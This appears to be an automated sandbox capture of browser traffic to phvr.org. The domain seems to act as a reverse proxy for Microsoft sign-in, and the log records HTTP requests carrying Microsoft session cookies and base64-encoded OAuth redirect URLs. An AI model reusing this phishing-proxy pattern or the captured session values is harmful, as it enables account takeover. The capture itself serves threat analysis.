OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:43 UTC	755	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: e9cda391-601e-001f-52b1-cb7052000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5clt7fmzks1nyk31w00000006y0000000002w9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:43 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49785	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2774	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	757	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: ac720426-a01e-007c-76b1-cbe387000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5cf2db9pgwzaah6n40000000760000000005ga9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	15627	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-07-03 21:50:44 UTC	1826	IN	Data Raw: 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 Data Ascii: @@@@PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49786	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2768	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:43 UTC	755	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: d9554cb7-401e-005e-3cb1-cb24b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5c4r99t8ms7h3d18c00000007fg000000007x2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:43 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49787	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:43 UTC	2771	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:43 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 1223fc77-201e-000e-0fb1-cbeae6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215043Z-16578db7b5c5dmg5xhfrx2tsu000000006sg00000000k0y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49790	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	2732	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; 